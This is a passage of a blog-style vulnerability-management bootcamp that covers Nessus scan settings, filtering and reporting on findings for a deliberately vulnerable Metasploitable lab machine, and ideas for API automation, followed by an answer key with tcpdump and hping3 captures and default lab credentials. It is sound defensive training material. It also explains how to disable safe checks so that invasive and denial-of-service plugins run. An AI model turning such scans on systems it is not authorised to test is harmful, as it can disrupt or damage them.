&lt;p&gt;&lt;a href=&quot;https://community.tenable.com/s/article/Show-missing-patches-that-have-been-superseded-Enabled-vs-Disabled&quot;&gt;Toggling this setting&lt;/a&gt; will help us remove false-positives from our Nessus reports. This is somewhat self-explanatory. Basically, if a system has a patch which supersedes a missing patch, we don’t want any plugins to fire for the superseded patch. This will unnecessarily junk up the report with vulnerabilities that are not actually there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Advanced&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Click on the “ADVANCED” section within the “Settings” tab.&lt;/li&gt;
  &lt;li&gt;Change the “Scan Type” drop-down to “Custom”.&lt;/li&gt;
  &lt;li&gt;Click on the “General” section below the “Advanced” pane on the left-hand side.&lt;/li&gt;
  &lt;li&gt;Uncheck the “Enable safe checks” box within the “General Settings” pane.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This setting should only be disabled under great caution. Disabling “&lt;a href=&quot;https://community.tenable.com/s/article/Which-Plugins-are-enabled-when-Safe-Checks-are-disabled&quot;&gt;Enable safe checks&lt;/a&gt;” will mean the scan can use certain plugins that are considered highly invasive. This includes destructive attacks, denial of service (DoS) and other &lt;a href=&quot;https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/intrusionprevention/flood_attacks_c.html&quot;&gt;kinds of floods&lt;/a&gt;. Though this scan &lt;em&gt;can&lt;/em&gt; have negative side-effects on a target system, it also adds additional tests that weren’t otherwise being run. In this way, &lt;em&gt;more&lt;/em&gt; potential issues can be identified.&lt;/p&gt;

&lt;h3 id=&quot;exercise-4-questions&quot;&gt;Exercise 4 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-41&quot;&gt;Question 4.1&lt;/h6&gt;
&lt;p&gt;Vulnerability scans can by nature be somewhat network-intensive. In the event that a host being actively scanned becomes unresponsive, something like Nessus &lt;em&gt;could&lt;/em&gt; &lt;a href=&quot;https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/&quot;&gt;DoS &lt;/a&gt; the system even further. What can be configured within the scan to prevent this from happening? –&amp;gt; &lt;a href=&quot;#answer-41&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-42&quot;&gt;Question 4.2&lt;/h6&gt;
&lt;p&gt;What is the default &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&quot;&gt;user-agent&lt;/a&gt; for Nessus web application scanning. –&amp;gt; &lt;a href=&quot;#answer-42&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-43&quot;&gt;Question 4.3&lt;/h6&gt;
&lt;p&gt;What type of &lt;a href=&quot;https://www.paloaltonetworks.com/cyberpedia/what-is-a-port-scan&quot;&gt;port scanning&lt;/a&gt; does Nessus perform by default? –&amp;gt; &lt;a href=&quot;#answer-43&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-5-reviewinganalyzing-results&quot;&gt;Exercise 5: Reviewing/Analyzing Results&lt;/h2&gt;
&lt;p&gt;Now that we have our &lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;vulnerability scans&lt;/a&gt; completed, it’s time to &lt;em&gt;review&lt;/em&gt; the results and &lt;em&gt;analyze&lt;/em&gt; the findings. &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2/&quot;&gt;Metasploitable&lt;/a&gt; is a “&lt;a href=&quot;https://owasp.org/www-project-vulnerable-web-applications-directory/&quot;&gt;purposefully-vulnerable&lt;/a&gt;” machine and as such, is &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/&quot;&gt;rife with issues&lt;/a&gt;. Though you may not encounter a system that is &lt;em&gt;this bad&lt;/em&gt; in the real world, you certainly could find yourself reviewing a box that has many vulnerabilities on it. So let’s take &lt;em&gt;this&lt;/em&gt; system, how should we go about analyzing these vulnerabilities? Below is one sequence that could occur…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OK&lt;/strong&gt;, so there are &lt;em&gt;a lot&lt;/em&gt; of vulnerabilities. We need to start filtering down to just the ones that are of highest importance.&lt;/li&gt;
  &lt;li&gt;Are there any vulnerabilities that are of &lt;em&gt;imminent&lt;/em&gt; danger of being exploited? If so, are any of these vulnerabilities mitigated in any way due to other controls within the environment?&lt;/li&gt;
  &lt;li&gt;We can add a filter to see only &lt;em&gt;exploitable&lt;/em&gt; vulnerabilities. We are now down to &lt;strong&gt;12&lt;/strong&gt; vulnerabilities (this is 12 &lt;em&gt;groups&lt;/em&gt; of vulnerabilities as some as you can see, are bundled).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/results.png&quot; alt=&quot;12 vulns&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;That’s still a lot of vulnerabilities to take on at one time. Let’s filter this down a little bit more. We can do so by adding some additional filters. Let’s add a filter for only &lt;strong&gt;Critical&lt;/strong&gt; severity issues as well as a filter for only plugins which are in the “Plugin Family”, &lt;em&gt;Gain a shell remotely&lt;/em&gt;. These filters are shown in the image below…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/filter.png&quot; alt=&quot;Filters&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;After these filters have been applied, we have only a few remaining issues (5 total).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/criticals.png&quot; alt=&quot;Final vulns&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As a &lt;a href=&quot;#vm-analysis&quot;&gt;VM analyst&lt;/a&gt; who is reviewing these results, I would &lt;em&gt;likely&lt;/em&gt; filter down to these findings and proceed with prioritization, reporting and remediation. For each of these findings, I would want to open them up, understand the plugin logic and perform cursory checks to determine whether they we’re false-positives or not. With &lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scans&lt;/a&gt; though, hoping a finding is a false-positive is often just &lt;em&gt;wishful-thinking&lt;/em&gt;. I encourage you to open each of these and to the best of your ability, &lt;em&gt;analyze&lt;/em&gt; them to determine the validity of the finding. Specifically, is the vulnerability really exploitable?&lt;/p&gt;

&lt;p&gt;(&lt;strong&gt;COMING SOON&lt;/strong&gt;: Steps for reproducing manual validation of &lt;em&gt;a&lt;/em&gt; vulnerability. &lt;em&gt;Wasn’t ready in the 1.0 release&lt;/em&gt;.)&lt;/p&gt;

&lt;h3 id=&quot;exercise-5-questions&quot;&gt;Exercise 5 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-51&quot;&gt;Question 5.1&lt;/h6&gt;
&lt;p&gt;What is the &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; vector for the &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2014-6271&quot;&gt;Shellshock&lt;/a&gt; vulnerability? What does “&lt;strong&gt;AC:L&lt;/strong&gt;” mean within that CVSS vector? –&amp;gt; &lt;a href=&quot;#answer-51&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-52&quot;&gt;Question 5.2&lt;/h6&gt;
&lt;p&gt;How did Nessus determine that Metasploitable was vulnerable to Shellshock? –&amp;gt; &lt;a href=&quot;#answer-52&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-53&quot;&gt;Question 5.3&lt;/h6&gt;
&lt;p&gt;What is the &lt;em&gt;highest risk&lt;/em&gt; finding? –&amp;gt; &lt;a href=&quot;#answer-53&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-54&quot;&gt;Question 5.4&lt;/h6&gt;
&lt;p&gt;According to Nessus, what action (mitigation/patch) should be taken to reduce the most risk on the system? –&amp;gt; &lt;a href=&quot;#answer-54&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-6-reporting&quot;&gt;Exercise 6: Reporting&lt;/h2&gt;
&lt;p&gt;Once we have &lt;a href=&quot;#exercise-5-reviewing-analyzing-results&quot;&gt;performed analysis&lt;/a&gt; on the findings, we need to deliver &lt;em&gt;something&lt;/em&gt; to the appropriate place in order that the finding be mitigated. What I mean by this is that there are stakeholders who need to receive reports which detail these findings so that they can address them. &lt;a href=&quot;https://www.tenable.com/blog/how-to-leverage-nessus-scan-reports-for-better-vulnerability-assessment&quot;&gt;Nessus reports&lt;/a&gt; are one way to do this. &lt;em&gt;Creating a report is easy&lt;/em&gt;. Inside a scan result, we can click on the “Report” drop-down in the top right which reveals a number of different report formats available (&lt;em&gt;.pdf&lt;/em&gt;, &lt;em&gt;.html&lt;/em&gt; and &lt;em&gt;.csv&lt;/em&gt;). We can click on any of these to generate that report. Try creating a “Custom”, and an “Executive Summary” report and see what is contained within each.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/pdf-report.png&quot; alt=&quot;report&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The image above illustrates the wealth of settings available when creating a “Custom” report with Nessus. I recommend you check all boxes, generate the report and then review that report to see what each of those boxes adds to the final product.&lt;/p&gt;

&lt;h3 id=&quot;exercise-6-questions&quot;&gt;Exercise 6 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-61&quot;&gt;Question 6.1&lt;/h6&gt;
&lt;p&gt;If we’re interested in generating a report for &lt;em&gt;just&lt;/em&gt; &lt;strong&gt;Critical&lt;/strong&gt; vulnerabilites. How can this be done? –&amp;gt; &lt;a href=&quot;#answer-61&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-62&quot;&gt;Question 6.2&lt;/h6&gt;
&lt;p&gt;Who all might be interested in receiving a vulnerability report from Nessus? (&lt;strong&gt;HINT&lt;/strong&gt;: Think individual groups, stakeholders or other personnel within an organization.) –&amp;gt; &lt;a href=&quot;#answer-62&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-7-scripting--automation&quot;&gt;Exercise 7: Scripting &amp;amp; Automation&lt;/h2&gt;

&lt;p&gt;To take Nessus, and really VM, to the next level, we need to step up our game in terms of automation. The &lt;em&gt;best&lt;/em&gt; way to do that is by leveraging the &lt;a href=&quot;https://community.tenable.com/s/article/An-introduction-to-the-Nessus-API-generating-session-tokens-and-API-keys&quot;&gt;Nessus API&lt;/a&gt;. The API documentation is available locally within your Nessus instance at “&lt;em&gt;https://127.0.0.1:8834/api#/overview&lt;/em&gt;”. The API represents boundless opportunity for VM &lt;a href=&quot;#vm-analysis&quot;&gt;analysts&lt;/a&gt;/&lt;a href=&quot;#vm-engineering&quot;&gt;engineers&lt;/a&gt; to automate all manner of &lt;a href=&quot;#vm-operations&quot;&gt;operational tasks&lt;/a&gt;, thus reducing overhead. I recommend those interested in not only VM but infosec at large, to become very familiar with &lt;a href=&quot;https://restfulapi.net&quot;&gt;APIs such as this&lt;/a&gt; and learn to write against them programmatically using a scripting language such as &lt;a href=&quot;https://www.python.org&quot;&gt;Python&lt;/a&gt;. To aid you in this journey there are frameworks, built by others in the community that can help you interact with these APIs. For the Nessus API, there is &lt;a href=&quot;https://python-nessus.readthedocs.io/en/latest/&quot;&gt;PyNessus&lt;/a&gt;, a Nessus REST API client which is fully &lt;a href=&quot;https://www.apache.org/licenses/LICENSE-2.0&quot;&gt;Apache 2 licensed&lt;/a&gt; and built specifically for security auditors, pentesters and VM analysts.&lt;/p&gt;

&lt;p&gt;As I mentioned, there are countless potential automation ideas that one could think of. One possible project would be to create a script that could kick off a scan against a target system. The use-case for this project would be as follows… As a VM analyst you may be asked by a system owner to re-scan a system following patch application. The system owner is interested in whether the patch has been successfully applied and thus the vulnerability is mitigated. Rather than wait for the next scan window, the system owner would like to know as soon as possible whether the vulnerability has been eradicated. Typically, a VM analyst would kick off a targeted scan of this system manually. But instead, what if you wrote a script that took one argument (a target IP) and auto-ran a scan of that system.&lt;/p&gt;

&lt;p&gt;This bootcamp is not designed to be a course in Python and as such, will not cover in-depth how to create the script I detailed above. I recommend researching how best to programmatically interact with REST APIs. One good resource would be &lt;a href=&quot;https://realpython.com/python-api/&quot;&gt;Python &amp;amp; APIs: A Winning Combo for Reading Public Data&lt;/a&gt;. With that said, I would like to provide this script &lt;em&gt;myself&lt;/em&gt; so others may have an example to build off of and reference as they create other useful scripts of their own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example script is currently being developed. Stay tuned!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Finally, I’d like to list a few other potential script ideas that someone could work on if they were interested!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Building off the previous idea&lt;/em&gt; - a script that could auto-run a scan against a provided target but &lt;em&gt;also&lt;/em&gt; take as input a &lt;a href=&quot;https://community.tenable.com/s/article/What-are-Plugin-ID-ranges-and-what-are-they-used-for&quot;&gt;Plugin ID&lt;/a&gt; and return &lt;em&gt;true&lt;/em&gt; or &lt;em&gt;false&lt;/em&gt; if that plugin is found within the results of that scan. Ultimately, the system owner is interested if a plugin has “fallen off” the report so rather than go into the scan results and see manually, why not have the result returned programmatically.&lt;/li&gt;
  &lt;li&gt;A script that can take a list of plugins as input and return all the hosts that have one or more of those plugins. In the event of a large patch release by a vendor, we may want to quickly see all the hosts affected by a set of plugins.&lt;/li&gt;
  &lt;li&gt;A script that will take an IP as input and return the last time it was scanned, how long the scan was and whether it was successfully &lt;a href=&quot;#credentialed-scan&quot;&gt;scanned with credentials&lt;/a&gt;. &lt;em&gt;This is a common question in the VM world&lt;/em&gt;. Take this scenario as an example - there may be some issue (system degradation) with a system and the owner is wondering if the scan itself is the culprit. The system owner may provide logs indicating some malfunction during a certain time and would like to blame the scan for the degradation. You may be able to quickly diagnose this using this script which will tell you when the scan was last performed. If the scan timing overlaps with when the system was experiencing a degraded state, it may very well be the scanners fault. Otherwise, we can rule out the scanner as being the cause. Alternatively, you may find that the results of the scan look a little &lt;em&gt;off&lt;/em&gt;, and you’d like to quickly troubleshoot whether the last scan was with credentials. As we know, &lt;a href=&quot;#uncredentialed-scan&quot;&gt;non-credentialed scans&lt;/a&gt; can introduce false-positives into the scan results.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks for taking the time to work your way through these exercises and &lt;strong&gt;happy scriptin’&lt;/strong&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lab-exercise-answers&quot;&gt;Lab Exercise Answers&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-0-answers&quot;&gt;Exercise 0 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-1-answers&quot;&gt;Exercise 1 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-2-answers&quot;&gt;Exercise 2 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-3-answers&quot;&gt;Exercise 3 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-4-answers&quot;&gt;Exercise 4 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-5-answers&quot;&gt;Exercise 5 Answers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-6-answers&quot;&gt;Exercise 6 Answers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;exercise-0-answers&quot;&gt;Exercise 0 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-01&quot;&gt;Answer 0.1&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;Kali credentials&lt;/strong&gt;: &lt;em&gt;kali&lt;/em&gt; / &lt;em&gt;kali&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metasploitable 2 credentials&lt;/strong&gt;: &lt;em&gt;msfadmin&lt;/em&gt; / &lt;em&gt;msfadmin&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To change the password for the user you are logged in as, simply type &lt;em&gt;passwd&lt;/em&gt; and go through the prompts. To change the password of another user, type &lt;em&gt;sudo passwd OTHERACCOUNTNAME&lt;/em&gt;. &lt;a href=&quot;https://tldp.org/LDP/lame/LAME/linux-admin-made-easy/changing-user-passwords.html&quot;&gt;This guide explains it very succintly&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-01&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-02&quot;&gt;Answer 0.2&lt;/h6&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;#question-02&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-03&quot;&gt;Answer 0.3&lt;/h6&gt;
&lt;p&gt;&lt;a href=&quot;https://whatismyipaddress.com/nat&quot;&gt;Network Address Translation&lt;/a&gt;, or “NAT”, is where local IP addresses are mapped to a single public IP address (and vice-versa) in order to provide Internet access to internally-situated hosts.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-03&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-04&quot;&gt;Answer 0.4&lt;/h6&gt;
&lt;p&gt;There are a number of different methods and utilities for interacting with system services on Linux. Some of these include the &lt;em&gt;&lt;a href=&quot;https://linux.die.net/man/8/service&quot;&gt;service&lt;/a&gt;&lt;/em&gt; command, &lt;em&gt;[]/etc/init.d/service](https://www.geeksforgeeks.org/what-is-init-d-in-linux-service-management/)&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units&quot;&gt;systemctl&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-04&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-05&quot;&gt;Answer 0.5&lt;/h6&gt;
&lt;p&gt;Somewhat of a &lt;em&gt;trick question&lt;/em&gt;. Linux will endlessly send &lt;em&gt;ping&lt;/em&gt; requests until it is stopped.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-05&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-1-answers&quot;&gt;Exercise 1 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-11&quot;&gt;Answer 1.1&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;UDP&lt;/strong&gt;! You can determine this by running the &lt;em&gt;tcpdump&lt;/em&gt; command shown below…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tcpdump &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; eth0 &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; host &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;METASPLOITABLE_IP]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;…then running &lt;em&gt;traceroute&lt;/em&gt; against your Metasploitable host. In the &lt;em&gt;tcpdump&lt;/em&gt; output, you will see a number of UDP datagrams being sent to a variety of different ports (shown below). &lt;em&gt;Interesting&lt;/em&gt;!&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;listening on eth0, link-type EN10MB &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, snapshot length 262144 bytes
11:13:55.430855 IP 172.16.84.2.33737 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33434: UDP, length 32
11:13:55.430945 IP 172.16.84.2.57603 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33435: UDP, length 32
11:13:55.430996 IP 172.16.84.2.57344 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33436: UDP, length 32
11:13:55.431062 IP 172.16.84.2.44554 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33437: UDP, length 32
11:13:55.431127 IP 172.16.84.2.43253 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33438: UDP, length 32
11:13:55.431181 IP 172.16.84.2.39702 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33439: UDP, length 32
11:13:55.431235 IP 172.16.84.2.49692 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33440: UDP, length 32
11:13:55.431288 IP 172.16.84.2.48673 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33441: UDP, length 32
11:13:55.431342 IP 172.16.84.2.37153 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33442: UDP, length 32
11:13:55.431398 IP 172.16.84.2.47292 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33443: UDP, length 32
11:13:55.431451 IP 172.16.84.2.55651 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33444: UDP, length 32
11:13:55.431505 IP 172.16.84.2.34029 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33445: UDP, length 32
11:13:55.431558 IP 172.16.84.2.57045 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33446: UDP, length 32
11:13:55.431611 IP 172.16.84.2.40330 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33447: UDP, length 32
11:13:55.431664 IP 172.16.84.2.34592 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33448: UDP, length 32
11:13:55.431738 IP 172.16.84.2.50855 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.33449: UDP, length 32
11:13:55.433781 IP 172.16.84.3 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2: ICMP 172.16.84.3 udp port 33437 unreachable, length 68
11:13:55.435107 IP 172.16.84.3 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2: ICMP 172.16.84.3 udp port 33438 unreachable, length 68
11:13:55.435107 IP 172.16.84.3 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2: ICMP 172.16.84.3 udp port 33439 unreachable, length 68
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-11&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-12&quot;&gt;Answer 1.2&lt;/h6&gt;
&lt;p&gt;Another trick question! &lt;em&gt;ping&lt;/em&gt; uses a layer 3 protocol “ICMP” which is neither TCP nor UDP (which are layer 4 protocols) and does not use ports. This can be seen by running a &lt;em&gt;tcpdump&lt;/em&gt; capture at the same time as the &lt;em&gt;ping&lt;/em&gt; and seeing no ports included. The &lt;em&gt;tcpdump&lt;/em&gt; capture shown below shows no ports after the IP addresses.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;listening on eth0, link-type EN10MB &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, snapshot length 262144 bytes
11:21:07.451104 IP 172.16.84.2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3: ICMP &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;request, &lt;span class=&quot;nb&quot;&gt;id &lt;/span&gt;50276, &lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;1, length 64
11:21:07.451781 IP 172.16.84.3 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2: ICMP &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;reply, &lt;span class=&quot;nb&quot;&gt;id &lt;/span&gt;50276, &lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;1, length 64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-12&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-13&quot;&gt;Answer 1.3&lt;/h6&gt;
&lt;p&gt;The “&lt;em&gt;-2&lt;/em&gt;” crafts a UDP datagram and the “&lt;em&gt;-p 69&lt;/em&gt;” will send it to port 69.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hping3 &lt;span class=&quot;nt&quot;&gt;-2&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 69 METASPLOITABLE_IP &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see in the &lt;em&gt;tcpdump&lt;/em&gt; output shown below, nothing is returned from the Metasploitable box.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;listening on eth0, link-type EN10MB &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, snapshot length 262144 bytes
11:30:24.006909 IP 172.16.84.2.2758 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.tftp: TFTP, length 0 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;|tftp]
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nothing is returned because UDP is connectionless and therefore will not return responses for UDP services that are listening and receive data.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-13&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-14&quot;&gt;Answer 1.4&lt;/h6&gt;
&lt;p&gt;The TTL of the first packet sent is &lt;strong&gt;1&lt;/strong&gt;. Determine this by running the &lt;em&gt;tcpdump&lt;/em&gt; packet capture shown below while executing the &lt;em&gt;traceroute&lt;/em&gt;. In this ouput you can see it says “…ttl 1…” If you’d like to understand why the TTL is set this way, I recommend researching &lt;a href=&quot;https://www.n-able.com/blog/what-is-traceroute-how-does-it-work&quot;&gt;host traceroute works&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;tcpdump &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; eth0 &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt;
tcpdump: listening on eth0, link-type EN10MB &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, snapshot length 262144 bytes
11:33:05.006272 IP &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;tos 0x0, ttl 1, &lt;span class=&quot;nb&quot;&gt;id &lt;/span&gt;19407, offset 0, flags &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;none], proto UDP &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;17&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, length 60&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Further down in the packet capture, you will see a record with the same “id” as that first UDP packet described above. This is the ICMP packet returned from the “next-hop” router which is in fact your VMware bridge router.&lt;/p&gt;

